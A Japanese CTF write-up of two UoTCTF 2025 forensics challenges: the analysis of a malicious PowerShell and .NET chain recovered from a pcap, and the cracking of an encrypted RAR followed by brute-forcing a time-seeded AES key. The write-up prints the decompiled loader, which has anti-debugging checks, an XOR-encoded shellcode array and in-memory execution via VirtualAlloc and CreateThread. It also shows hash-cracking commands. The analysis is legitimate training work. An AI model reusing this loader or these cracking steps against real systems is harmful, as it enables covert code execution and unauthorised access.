All Articles

UoT CTF 2025 Writeup

UoTCTF 2025 に 0nePadding で参加して 43 位/897 チームでした。(今回自分はほとんど解いてないですが)

image-20250113211514744

解いた問題について簡単に Writeup を書きます。

Poof(Forensic)

Yet another pcap, no usb traffic in this one so I’m lost. Can you help me out? :)

問題バイナリとして与えられた pcap ファイルを解析すると、怪しい IP アドレスから不審な PS1 ファイルなどを取得していることがわかります。

image-20250111212443760

このファイルは難読化された Power Shell スクリプトを実行するファイルのようでした。

冒頭数行の難読化を解除してみると、どうやら Key と IV という変数の定義を行っている様子であることがわかります。

# Key
.("{1}{0}{2}" -f '-Va','Set','riable') -Name ("{0}{1}" -f 'ke','y') -Value (  $Vs52aR::"u`TF8".("{2}{0}{1}" -f 'etBy','tes','G').Invoke((("{0}{2}{1}"-f'sk','89','sd')+'D2G'+("{0}{1}"-f '0X9','j')+("{1}{0}" -f 'F','k2f')+("{0}{1}"-f ("{0}{1}"-f'1','b4S'),'2')+'a7'+("{1}{0}"-f 'a','Gh8')+'Vk0'+'L')))

# IV
.("{0}{2}{1}"-f 'Set','Variable','-') -Name ('iv') -Value ( ( VArIaBlE  ("{0}{1}"-f'Y8','F')  -ValuEo )::"U`Tf8".("{0}{2}{1}"-f 'Get','tes','By').Invoke((("{1}{0}" -f 'e',("{0}{1}" -f 'Md3','3'))+'F'+'a'+("{0}{2}{1}" -f '0','Z',("{0}{1}"-f 'wN','x2'))+'q'+("{3}{2}{1}{0}"-f'Y1',("{1}{2}{0}"-f'm','7oN','45'),("{1}{0}{2}" -f '6','LjK','X9t3G'),'5'))))

難読化されたスクリプトから抽出した Key と IV は以下の通りでした。

image-20250111214114131

更に難読化の解除を進めていくと、同じ IP から取得している HEX 文字列が記録されたファイルを復号した PE ファイルを取得していることがわかります。

そこで、取り出した Key と IV を使用してデータを復号することで、不審な PE ファイルを復元しました。

image-20250111214016245

このファイルは .Net で作成された PE ファイルのようでしたので ILSpy で解析していきます。

しかし、ILSpy ではなぜか一部のコードを解析することができませんでした。

image-20250111215117312

そこで、とりあえず dnSpy を使用してみたところ、以下の通り問題バイナリのデコンパイル結果を確認することができるようになりました。(ILSpy で解析に失敗した理由はよくわかっていません)

image-20250111215050507

このコードを見ると、単にハードコードされたバイト列を XOR して何らかのデータを復号していることがわかります。

using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace Kljansdfkansdf
{
	// Token: 0x02000003 RID: 3
	[NullableContext(1)]
	[Nullable(0)]
	public class Kljansdfkansdf
	{
		// Token: 0x06000009 RID: 9 RVA: 0x00002080 File Offset: 0x00000280
		public static void kjfadsiewqinfqniowf(byte[] ncuasdhif)
		{
			uint num = Win32.VirtualAlloc(0U, (uint)ncuasdhif.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
			Marshal.Copy(ncuasdhif, 0, (IntPtr)((UIntPtr)num), ncuasdhif.Length);
			uint num2;
			Win32.VirtualProtect((IntPtr)((UIntPtr)num), (UIntPtr)((IntPtr)ncuasdhif.Length), Win32.PAGE_EXECUTE_READ, out num2);
			IntPtr zero = IntPtr.Zero;
			uint num3 = 0U;
			IntPtr zero2 = IntPtr.Zero;
			Win32.WaitForSingleObject(Win32.CreateThread(0U, 0U, num, zero2, 0U, ref num3), uint.MaxValue);
		}

		// Token: 0x0600000A RID: 10 RVA: 0x000020E4 File Offset: 0x000002E4
		private static void Main(string[] args)
		{
			Win32.ShowWindow(Win32.GetConsoleWindow(), Win32.SW_HIDE);
			if (Debugger.IsAttached)
			{
				Environment.Exit(0);
			}
			foreach (Process process in Process.GetProcesses())
			{
				if (process.ProcessName.Contains("devenv") || process.ProcessName.Contains("dnspy"))
				{
					Environment.Exit(0);
				}
			}
			byte[] array = new byte[]
			{
				129, 149, byte.MaxValue, 125, 125, 125, 29, 244, 152, 76,
				189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
				105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
				209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
				124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
				55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
				44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
				71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
				188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
				0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
				89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
				124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
				89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
				34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
				248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
				250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
				232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
				134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
				125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
				93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
				17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
				8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
				14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
				4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
				19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
				93, 82, 4, 125
			};
			byte b = 125;
			for (int j = 0; j < array.Length; j++)
			{
				byte[] array2 = array;
				int num = j;
				array2[num] ^= b;
			}
			Kljansdfkansdf.kjfadsiewqinfqniowf(array);
		}
	}
}

そこで、このバイト列を 125 で XOR 復号することで正しい Flag を特定することができました。

Decrypt Me(Forensic)

I encrypted my encryption script, but I forgot the password. Can you help me decrypt it?

問題バイナリとして与えられた暗号化 rar ファイルを rar2hashcat で解析すると以下のハッシュを得ることができます。(rar2john でも OK)

./rar2hashcat flag.rar

$rar5$16$1d7cb8859a6c3c8e30a9db7a501811ac$15$280234db9d29c6ab216b74e6a89ec226$8$d12d4ba211b9c642
$rar5$16$1d7cb8859a6c3c8e30a9db7a501811ac$15$7d06143b1a7dab3327b3ef1e41ad881a$8$d12d4ba211b9c642

参考:Release rar2hashcat 1.0 · hashstation/rar2hashcat · GitHub

とりあえずこのハッシュを rockyou.txt で解析すると解凍用のパスワードを特定できます。

image-20250112214205715

これでこの暗号化 rar ファイルを解凍して flag.py というファイルを取り出すことができました。

この flag.py は、Flag を AES で暗号化して flag.enc として保存する操作を行っているようです。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from time import time
import random
random.seed(int(time()))
KEY = SHA256.new(str(random.getrandbits(256)).encode()).digest()
FLAG = "uoftctf{fake_flag}"

def encrypt_flag(flag, key):
    cipher = AES.new(key, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(flag.encode())
    return cipher.nonce + ciphertext

def main():
    encrypted_flag = encrypt_flag(FLAG, KEY)
    with open("flag.enc", "wb") as f:
        f.write(encrypted_flag)

if __name__ == "__main__":
    main()

ここで正しい Flag を暗号化した結果である flag.enc を探してみると、以下の通り flag.py の ADS として保存されていることを確認できます。

image-20250112214145682

そこで、以下のコマンドで ADS から flag.enc をバイト列として取り出しました。

Set-Content C:\Users\kash1064\Downloads\flag\flag.enc -Encoding Byte -Value $a
Get-Content C:\Users\kash1064\Downloads\flag\flag.py:flag.enc -Encoding Byte -ReadCount 0

この flag.enc は、16 バイトの cipher.nonce と暗号化データである ciphertext を連結したものです。

さらに、flag.py の実装を読むと、現在時刻を seed として生成した Key を使用して暗号化を行っていることがわかります。

アーカイブ内のファイルのタイムスタンプから、このファイルは 2025/01/06 に作成されたものであることがわかるので、秒数の総当たりにより暗号化されたデータを復号できそうであることがわかります。

最終的に以下のスクリプトで正しい Flag を取得しました。

from Crypto.Cipher import AES
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from time import time
from datetime import datetime
import random

data = b"\x29\xe6\x91\x01\xb5\x00\xc3\x83\x1e\xff\x9a\xfb\x12\xc7\x6b\x94\xd4\xf8\x81\x60\x45\x83\x9e\x60\xa0\x61\x12\x2e\x8d\x01\xfa\xf9\x5e\x55\xb1\x70\xff\xd0\xdc\xa3\xdf\x38\xc5\x72\xf3\xbd\xbd\xe8\xfb\xc4\x4d\x39\x38\xee\x07\x86\xfc"
nonce = data[0:16]
ciphertext = data[16:]
assert(len(nonce) == 16)

basetime = int(datetime(2025, 1, 6, 0, 0, 0).timestamp())

for i in range(basetime, basetime+(3600*24*1)):
    random.seed(i)
    KEY = SHA256.new(str(random.getrandbits(256)).encode()).digest()
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=nonce)
    plaintext = cipher.decrypt(ciphertext)
    if chr(plaintext[0]) == "u" and chr(plaintext[1]) == "o":
        print(plaintext)

image-20250113213639016